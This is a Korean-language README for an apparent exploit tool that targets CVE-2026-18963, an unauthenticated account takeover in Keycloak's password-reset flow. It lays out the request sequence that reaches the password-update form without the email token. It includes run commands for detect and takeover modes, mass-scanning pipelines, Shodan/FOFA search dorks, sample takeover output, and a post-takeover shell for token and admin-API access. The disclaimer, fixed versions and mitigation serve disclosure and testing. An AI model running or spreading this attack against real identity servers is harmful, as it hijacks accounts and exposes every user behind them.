
**CVE-2026-18963** — reset-credentials 흐름을 통한 인증되지 않은 Keycloak 계정 탈취.

저자: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — reset-credentials 흐름을 통한 인증되지 않은 Keycloak 계정 탈취.
KeySniper는 버그 바운티 범위 내 및 승인된 평가를 위한 운영 지향 스캐너입니다: 실시간 레이더 출력, realm 탐지, 탐지 vs 탈취, 대화형 ATO 후 셸, stdin 파이프라인(subfinder → httpx → KeySniper)을 제공합니다.
기본 모드는 detect(--takeover 0)입니다. --takeover 1은 대상 계정의 비밀번호를 변경합니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — 취약한 비밀번호 복구 메커니즘 |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 제품 | Keycloak / Red Hat SSO |
| 수정 버전 | 26.7.2, 26.6.6, 26.4.15 |
| 인증 | 없음 |
두 가지 버그가 연쇄적으로 사용됩니다:
tryAnotherWay는 실행 ID에 범위가 지정되지 않은 일반적인 "true" 선택기 메모를 저장합니다.ResetCredentialEmail.action()은 ACTION_TOKEN_USER_ID를 검증하지 않고 context.success()를 호출합니다.결과: 인증되지 않은 호출자가 알려진 사용자 이름에 대해 비밀번호 재설정 흐름을 강제로 실행하고, 이메일 링크를 클릭하지 않고도 UPDATE_PASSWORD 단계에 도달할 수 있습니다.
스캔은 "비밀번호 찾기 존재 여부" 가 아닙니다. 확인 기준은 다음과 같습니다:
execution= UUID가 변경됨 (이메일 실행이 유출됨)kc-passwd-update-form 포함exec3 = 28e2cd30-… (첫 번째 선택기)
exec6 = 8fd21174-… (피벗 GET)
UPDATE_PASSWORD
[radar] 로그 (Location, JS, 헤더, realm 프로브)302 Location + HTML/JS + well-known + 워드리스트/auth 접두사 자동 감지httpx / subfinder의 stdin URL--takeover 0 탐지만 수행--takeover 1 비밀번호 설정 (기본값 SelaM1337@@)--shell ATO 후 대화형 토큰 / 관리자 API 헬퍼VULN / ATO 빨간색, SAFE 초록색, SKIP 노란색python3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9 이상.
# 탐지 (비밀번호 변경 없음)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# 탈취 + 대화형 셸
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# realm / 사용자 지정
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# 파이프라인
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# 목록 파일
python3 KeySniper.py -l urls.txt --takeover 0 -q
파이프라인 덤프에는 --takeover 1 또는 --shell을 전달하지 마십시오.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ forgot-password href (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<user>
[5] GET startSessionPolling / restart (존재하는 경우)
[6] GET 원래 reset-credentials URL (피벗)
→ 선택기 재렌더링 + 새 execution=
[7] POST 오래된 선택기 (액션 토큰 없음)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (--takeover 1일 때만)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open patched
[SKIP] https://www.example.com not-keycloak
leak-no-update는 VULN으로 집계되지 않습니다.
단일 대상에서 [ATO] 이후에만 열립니다:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
리소스 소유자 비밀번호 그랜트(admin-cli, 이후 account)를 사용합니다.
/admin/realms에서 HTTP 403은 Direct Access Grants / 관리자 역할이 제한됨을 의미합니다 — ATO는 여전히 유효할 수 있습니다.
/realms/master 프로브 후 /auth/realms/master 프로브Location, HTML, JS, "realm":, issuer에서 realm 수집/realms/{name}이 200 + Keycloak 본문을 반환하는 realm만 유지/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (프로그램 범위):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/의 모든 200 응답은 본문에 issuer / public_key / login-actions가 없으면 무시됨SKIP (realm에서 재설정 비활성화됨)kc-passwd-update-form 없는 선택기 유출 → SKIPhttpx 경로는 원점으로 축소됨 (/auth는 유지)Keycloak < 26.7.2 (또한 26.6.x < 26.6.6, 26.4.x < 26.4.15).
완화 조치: 모든 realm에서 비밀번호 찾기를 비활성화한 후 업그레이드하십시오.
이 저장소의 스크린샷은 편집되었습니다 (sso.lab.local 자리 표시자). 토큰, 비밀번호, 이메일 및 실제 호스트는 게시되지 않습니다.
Mitsec
X: x.com/ynsmroztas
범위 내 승인된 대상에 대한 연구용 사용. 범위 외 호스트에서는 --takeover 1을 사용하지 마십시오.
| 플래그 | 기본값 | 의미 |
|---|
-u URL | — | 단일 대상 |
-l FILE | — | URL 목록 |
| stdin | 자동 | httpx 라인 (첫 번째 필드 = URL) |
--takeover 0|1 | 0 | 탐지 vs 비밀번호 변경 |
-U USER | admin | 대상 사용자 이름 |
-r REALM | auto | realm 강제 지정 또는 탐지 |
--pass | SelaM1337@@ | takeover=1일 때 새 비밀번호 |
-t N | 4 | 파이프라인 스레드 수 |
-q | 꺼짐 | 결과만 출력 |
--shell | 꺼짐 | ATO 후 셸 (단일 대상) |
| 상태 | 의미 |
|---|
VULN | 피벗 + UPDATE_PASSWORD (비밀번호 변경 안 됨) |
ATO | 8단계 성공 |
SAFE | 재설정 열림, 오래된 선택기 없음 (패치됨) |
SKIP | Keycloak 아님 / 재설정 비활성화 / UPDATE 폼 없는 유출 |
FAIL | 네트워크 / 예기치 않은 예외 |